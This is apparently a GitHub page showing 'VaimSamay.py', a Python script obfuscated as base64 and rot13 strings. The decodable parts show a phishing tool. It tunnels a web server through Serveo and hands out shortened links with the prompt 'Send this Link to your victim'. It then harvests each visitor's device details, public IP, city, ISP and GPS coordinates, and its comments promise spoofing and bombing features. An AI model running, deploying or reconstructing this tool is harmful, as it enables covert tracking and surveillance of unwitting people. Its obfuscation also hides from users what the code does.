-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathVaimSamay.py
8 lines (8 loc) · 16 KB
/
VaimSamay.py
1
2
3
4
5
6
7
8
import base64, codecs
magic = 'CgppbXBvcnQgcmFuZG9tCmltcG9ydCBvcywgc3lzCmltcG9ydCByYW5kb20KZnJvbSB0aW1lIGltcG9ydCBzbGVlcAppbXBvcnQganNvbgppbXBvcnQgYXJncGFyc2UKaW1wb3J0IHJlcXVlc3RzCmltcG9ydCBzdWJwcm9jZXNzIGFzIHN1YnAKaW1wb3J0IGNzdgppbXBvcnQgdGltZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgoKI2NvbG91cnMgLS0tLS0tLS0tLS0tY29kZSdzLS0tIApyID0gIlwwMzNbMTszMW0iCmcgPSAiXDAzM1sxOzMybSIKeSA9ICJcMDMzWzE7MzNtIgpiID0gIlwwMzNbMTszNG0iCmQgPSAiXDAzM1syOzM3bSIKUiA9ICJcMDMzWzE7NDFtIgpZID0gIlwwMzNbMTs0M20iCkIgPSAiXDAzM1sxOzQ0bSIKdyA9ICJcMDMzWzE7MzdtIgpSID0gJ1wwMzNbMzFtJyAjIHJlZApHID0gJ1wwMzNbMzJtJyAjIGdyZWVuCkMgPSAnXDAzM1szNm0nICMgY3lhbgpXID0gJ1wwMzNbMG0nICAjIHdoaXRlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCnBhcnNlciA9IGFyZ3BhcnNlLkFyZ3VtZW50UGFyc2VyKCkKcGFyc2VyLmFkZF9hcmd1bWVudCgnLXMnLCAnLS1zdWJkb21haW4nLCBoZWxwPSdQcm92aWRlIFN1YmRvbWFpbiBmb3IgU2VydmVvIFVSTCAoIE9wdGlvbmFsICknKQpwYXJzZXIuYWRkX2FyZ3VtZW50KCctaycsICctLWttbCcsIGhlbHA9J1Byb3ZpZGUgS01MIEZpbGVuYW1lICggT3B0aW9uYWwgKScpCnBhcnNlci5hZGRfYXJndW1lbnQoJy10JywgJy0tdHVubmVsJywgaGVscD0nU3BlY2lmeSBUdW5uZWwgTW9kZSBbIEF2YWlsYWJsZSA6IG1hbnVhbCBdJykKcGFyc2VyLmFkZF9hcmd1bWVudCgnLXAnLCAnLS1wb3J0JywgdHlwZT1pbnQsIGRlZmF1bHQ9ODA4MCwgaGVscD0nUG9ydCBmb3IgV2ViIFNlcnZlciBbIERlZmF1bHQgOiA4MDgwIF0nKQoKYXJncyA9IHBhcnNlci5wYXJzZV9hcmdzKCkKc3ViZG9tID0gYXJncy5zdWJkb21haW4Ka21sX2ZuYW1lID0gYXJncy5rbWwKdHVubmVsX21vZGUgPSBhcmdzLnR1bm5lbApwb3J0ID0gYXJncy5wb3J0Cgpyb3cgPSBbXQppbmZvID0gJycKcmVzdWx0ID0gJycKCiNzY3JpcHQgYmFubmVyLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgojQUxMIGNvbW1lbnQgYXJlIHVuZGVyIHRlc3RlZCBzbyBpZ25vcmUgaGltIHdoZW4gaSB1cGRhdGUgaXQgdGhlbiBpdHMgaGVscCBtZSBvdXQgdG8gdGhpbmsgYmV0dGVyIHNvIHRoYW5rcyBmb3IgdXNpbmcgdG9vbAojd2Ugd2lsbCB1cGRhdGUgc29vbgojd2Ugd2lsbCBhZGQgc3Bvb2ZpbmcgeCBib21iaW5nIAojc29vbgojYnkgdmFpbXBpZXIgcml0aWsKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCmRlZiBiYW5uZXIoKToKICAgIHByaW50KHcrZCsiICAgICAgLCwgICAgICAgICAgICAgICAgLCwiKQogICAgcHJpbnQodytkKyIgICAgKCgoKCggICAgICAgICAgICAgICkpKSkpIikKICAgIHByaW50KHcrZCsiICAgKCgoKCgoICAgICAgICAgICAgICApKSkpKSkiKQogICAgcHJpbnQodytkKyIgICAoKCgoKCggICAgICAgICAgICAgICkpKSkpKSIpCiAgICBwcmludCh3K2QrIiAgICAoKCgoKCIrdytiKyIsckBAQEBAQEBAQEBlLCIrdytkKyIpKSkpKSIpCiAgICBwcmludCh3K2QrIiAgICAgICgoKCIrdytiKyJAQEBAQEBAQEBAQEBAQEBAIit3K2QrIikpKSAgICAiK3crYisiVmFpbVNhbWF5IC0gdmVyc2lvbiAxLjAiKQogICAgcHJpbnQodytiKyIgICAgICBcQEAvIityKyIsOjo6LCIrdytiKyJcLyIrcisiLDo6OiwiK3crYisiXEBAICAgICAgICIrdysiLS0tLS0tLS0tLS0tLS0tLS0tIikKICAgIHByaW50KHcrYisiICAgICAvQEBAfCIrcisiOjo6OjoiK3crYisifHwiK3IrIjo6Ojo6Iit3K2IrInxAQEBcXCAgICAgIityKyJJbnN0YWdyYW0iK3crIiA6ICIreSsiQHZhaW1waWVyX3JpdGlrIHggQF92aWxlbl9iaG9pIikKICAgIHByaW50KHcrYisiICAgIC8gQEBAXFwiK3IrIic6OjonIit3K2IrIi9cXCIrcisiJzo6OiciK3crYisiL0BAQCBcXCAgICAiK3cpCiAgICBwcmludCh3K2IrIiAgIC8gIC9AQEBAQEBALy9cXFxAQEBAQEBAXCAgXFwgICAiK2crIlRoZSBhdXRob3IgaXMgbm90IHJlc3BvbnNpYmxlIikKICAgIHByaW50KHcrYisiICAoICAvICAnQEBAQEA9PT09QEBAQEAnICBcICApICAiK2crImZvciBhbnkgaXNzdWVzIG9yIGRhbWFnZSIpCiAgICBwcmludCh3K2IrIiAgIFwoICAgICAvICAgICAgICAgIFwgICAgICkvICAgIitnKyJjYXVzZWQgYnkgdGhpcyBwcm9ncmFtIikKICAgIHByaW50KHcrYisiICAgICBcICAgKCAgICAgICAgICAgICkgICAvIikKICAgIHByaW50KHcrYisiICAgICAgICAgIFwgICAgICAgICAgLyIrdykKCSAgICAKCgpkZWYgcmFuZG9tbGluaygpOgoJIiIiCglmb3IgbGV0dGVyIGluIHN0cmluZzoKCSAgc2xlZXAoMC4wMSkgCgkgIHN5cy5zdGRvdXQud3JpdGUobGV0dGVyKQoJICBzeXMuc3Rkb3V0LmZsdXNoKCkKCXByaW50KCJcbiIpCgkiIiIKCV92Yl8gPSBbCgoJJ2h0dHBzOi8vYml0Lmx5LzN6NzFCYlgnLAoJJ2h0dHBzOi8vY3V0dC5seS9KVzBSMWZPJywKCSdodHRwczovL3Nob3J0dXJsLmF0L2NobkNJJywKCSdodHRwczovL3JiLmd5L2cyOWM5cCcsCgknaHR0cHM6Ly90aW55dXJsLmNvbS9WYWltU2FtYXknLAoJJ2h0dHBzOi8vc2hyZWtpcy5saWZlL0o1ODQ1Vi5naWYnLAoJJ2h0dHBzOi8vcmVicmFuZC5seS9xZjRmZjkwJwoKCV0KCgoJcHJpbnQocisi4pSU4pSAIit3KyJbIV0gU2VuZCB0aGlzIExpbmsgdG8geW91ciB2aWNpdG0gOiAiK3krcmFuZG9tLmNob2ljZShfdmJfKSkKCWJhY2s9aW5wdXQocisiLi7ilJTilIAiK3crIlwwMzNbMTszN21CYWNrIFsgeSAvIG4gXTogIityKQoJaWYgYmFjaz09J3knIG9yIGJhY2s9PSdZJzoKCQlvcy5zeXN0ZW0oImNsZWFyIikKCQlpcCgpCglpZiBiYWNrPT0nbicgb3IgYmFjaz09J04nOgoJCXN5cy5leGl0KCkKCWVsc2U6CgkJYmFja2llKCkKCgoKCmRlZiBieWUoKToKCW9zLnN5c3RlbSgiY2xlYXIi'
love = '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'
god = 'YWl0KCk6CglwcmludGVkID0gRmFsc2UKCXdoaWxlIFRydWU6CgkJdGltZS5zbGVlcCgyKQoJCXNpemUgPSBvcy5wYXRoLmdldHNpemUocmVzdWx0KQoJCWlmIHNpemUgPT0gMCBhbmQgcHJpbnRlZCA9PSBGYWxzZToKCQkJcHJpbnQoIlxuIityKyLilJTilIAiK3crIlwwMzNbMTszN21bIityKyIgISIrdysiIF0gIitnKyJXYWl0aW5nIGZvciBWaWN0aW1zIit3KyIgOiAiKQoJCQlwcmludGVkID0gVHJ1ZQoJCWlmIHNpemUgPiAwOgoJCQltYWluKCkKCmRlZiBtYWluKCk6CglnbG9iYWwgaW5mbywgcmVzdWx0LCByb3csIHZhcl9sYXQsIHZhcl9sb24KCXRyeToKCQlyb3cgPSBbXQoJCXdpdGggb3BlbiAoaW5mbywgJ3InKSBhcyBmaWxlMjoKCQkJZmlsZTIgPSBmaWxlMi5yZWFkKCkKCQkJanNvbjMgPSBqc29uLmxvYWRzKGZpbGUyKQoJCQlmb3IgdmFsdWUgaW4ganNvbjNbJ2RldiddOgoKCQkJCXZhcl9vcyA9IHZhbHVlWydvcyddCgkJCQl2YXJfcGxhdGZvcm0gPSB2YWx1ZVsncGxhdGZvcm0nXQoJCQkJdHJ5OgoJCQkJCXZhcl9jb3JlcyA9IHZhbHVlWydjb3JlcyddCgkJCQlleGNlcHQgVHlwZUVycm9yOgoJCQkJCXZhcl9jb3JlcyA9ICdOb3QgQXZhaWxhYmxlJwoJCQkJdmFyX3JhbSA9IHZhbHVlWydyYW0nXQoJCQkJdmFyX3ZlbmRvciA9IHZhbHVlWyd2ZW5kb3InXQoJCQkJdmFyX3JlbmRlciA9IHZhbHVlWydyZW5kZXInXQoJCQkJdmFyX3JlcyA9IHZhbHVlWyd3ZCddICsgJ3gnICsgdmFsdWVbJ2h0J10KCQkJCXZhcl9icm93c2VyID0gdmFsdWVbJ2Jyb3dzZXInXQoJCQkJdmFyX2lwID0gdmFsdWVbJ2lwJ10KCgkJCQlyb3cuYXBwZW5kKHZhcl9vcykKCQkJCXJvdy5hcHBlbmQodmFyX3BsYXRmb3JtKSAKCQkJCXJvdy5hcHBlbmQodmFyX2NvcmVzKSAKCQkJCXJvdy5hcHBlbmQodmFyX3JhbSkgCgkJCQlyb3cuYXBwZW5kKHZhcl92ZW5kb3IpCgkJCQlyb3cuYXBwZW5kKHZhcl9yZW5kZXIpCgkJCQlyb3cuYXBwZW5kKHZhcl9yZXMpCgkJCQlyb3cuYXBwZW5kKHZhcl9icm93c2VyKQoJCQkJcm93LmFwcGVuZCh2YXJfaXApCgoJCQkJcHJpbnQoRyArICdbK10nICsgQyArICcgRGV2aWNlIEluZm9ybWF0aW9uIDogJyArIFcgKyAnXG4nKQoJCQkJcHJpbnQoRyArICdbK10nICsgQyArICcgT1MgICAgICAgICA6ICcgKyBXICsgdmFyX29zKQoJCQkJcHJpbnQoRyArICdbK10nICsgQyArICcgUGxhdGZvcm0gICA6ICcgKyBXICsgdmFyX3BsYXRmb3JtKQoJCQkJcHJpbnQoRyArICdbK10nICsgQyArICcgQ1BVIENvcmVzICA6ICcgKyBXICsgdmFyX2NvcmVzKQoJCQkJcHJpbnQoRyArICdbK10nICsgQyArICcgUkFNICAgICAgICA6ICcgKyBXICsgdmFyX3JhbSkKCQkJCXByaW50KEcgKyAnWytdJyArIEMgKyAnIEdQVSBWZW5kb3IgOiAnICsgVyArIHZhcl92ZW5kb3IpCgkJCQlwcmludChHICsgJ1srXScgKyBDICsgJyBHUFUgICAgICAgIDogJyArIFcgKyB2YXJfcmVuZGVyKQoJCQkJcHJpbnQoRyArICdbK10nICsgQyArICcgUmVzb2x1dGlvbiA6ICcgKyBXICsgdmFyX3JlcykKCQkJCXByaW50KEcgKyAnWytdJyArIEMgKyAnIEJyb3dzZXIgICAgOiAnICsgVyArIHZhcl9icm93c2VyKQoJCQkJcHJpbnQoRyArICdbK10nICsgQyArICcgUHVibGljIElQICA6ICcgKyBXICsgdmFyX2lwKQoKCQkJCXJxc3QgPSByZXF1ZXN0cy5nZXQoJ2h0dHA6Ly9mcmVlLmlwd2hvaXMuaW8vanNvbi97fScuZm9ybWF0KHZhcl9pcCkpCgkJCQlzYyA9IHJxc3Quc3RhdHVzX2NvZGUKCgkJCQlpZiBzYyA9PSAyMDA6CgkJCQkJZGF0YSA9IHJxc3QudGV4dAoJCQkJCWRhdGEgPSBqc29uLmxvYWRzKGRhdGEpCgkJCQkJdmFyX2NvbnRpbmVudCA9IHN0cihkYXRhWydjb250aW5lbnQnXSkKCQkJCQl2YXJfY291bnRyeSA9IHN0cihkYXRhWydjb3VudHJ5J10pCgkJCQkJdmFyX3JlZ2lvbiA9IHN0cihkYXRhWydyZWdpb24nXSkKCQkJCQl2YXJfY2l0eSA9IHN0cihkYXRhWydjaXR5J10pCgkJCQkJdmFyX29yZyA9IHN0cihkYXRhWydvcmcnXSkKCQkJCQl2YXJfaXNwID0gc3RyKGRhdGFbJ2lzcCddKQoKCQkJCQlyb3cuYXBwZW5kKHZhcl9jb250aW5lbnQpCgkJCQkJcm93LmFwcGVuZCh2YXJfY291bnRyeSkKCQkJCQlyb3cuYXBwZW5kKHZhcl9yZWdpb24pCgkJCQkJcm93LmFwcGVuZCh2YXJfY2l0eSkKCQkJCQlyb3cuYXBwZW5kKHZhcl9vcmcpCgkJCQkJcm93LmFwcGVuZCh2YXJfaXNwKQoKCQkJCQlwcmludChHICsgJ1srXScgKyBDICsgJyBDb250aW5lbnQgIDogJyArIFcgKyB2YXJfY29udGluZW50KQoJCQkJCXByaW50KEcgKyAnWytdJyArIEMgKyAnIENvdW50cnkgICAgOiAnICsgVyArIHZhcl9jb3VudHJ5KQoJCQkJCXByaW50KEcgKyAnWytdJyArIEMgKyAnIFJlZ2lvbiAgICAgOiAnICsgVyArIHZhcl9yZWdpb24pCgkJCQkJcHJpbnQoRyArICdbK10nICsgQyArICcgQ2l0eSAgICAgICA6ICcgKyBXICsgdmFyX2NpdHkpCgkJCQkJcHJpbnQoRyArICdbK10nICsgQyArICcgT3JnICAgICAgICA6ICcgKyBXICsgdmFyX29yZykKCQkJCQlwcmludChHICsgJ1srXScgKyBDICsgJyBJU1AgICAgICAgIDogJyArIFcgKyB2YXJfaXNwKQoJZXhjZXB0IFZhbHVlRXJyb3I6CgkJcGFzcwoJCgl0cnk6CgkJd2l0aCBvcGVuIChyZXN1bHQsICdyJykgYXMgZmlsZToKCQkJZmlsZSA9IGZpbGUucmVhZCgpCgkJCWpzb24yID0ganNvbi5sb2FkcyhmaWxlKQoJCQlmb3IgdmFsdWUgaW4ganNvbjJbJ2luZm8nXToKCQkJCXZhcl9sYXQgPSB2YWx1ZVsnbGF0J10gKyAnIGRlZycKCQkJCXZhcl9sb24gPSB2YWx1ZVsnbG9uJ10gKyAnIGRlZycKCQkJCXZhcl9hY2MgPSB2YWx1ZVsnYWNjJ10gKyAnIG0nCgoJCQkJdmFyX2FsdCA9IHZhbHVlWydhbHQnXQoJCQkJaWYgdmFyX2FsdCA9PSAnJzoKCQkJCQl2YXJfYWx0ID0gJ05vdCBBdmFpbGFibGUnCgkJCQllbHNlOgoJCQkJCXZhcl9hbHQgPT0gdmFsdWVbJ2FsdCddICsgJyBtJwoJCQkJCgkJCQl2YXJfZGlyID0gdmFsdWVbJ2Rpcidd'
destiny = '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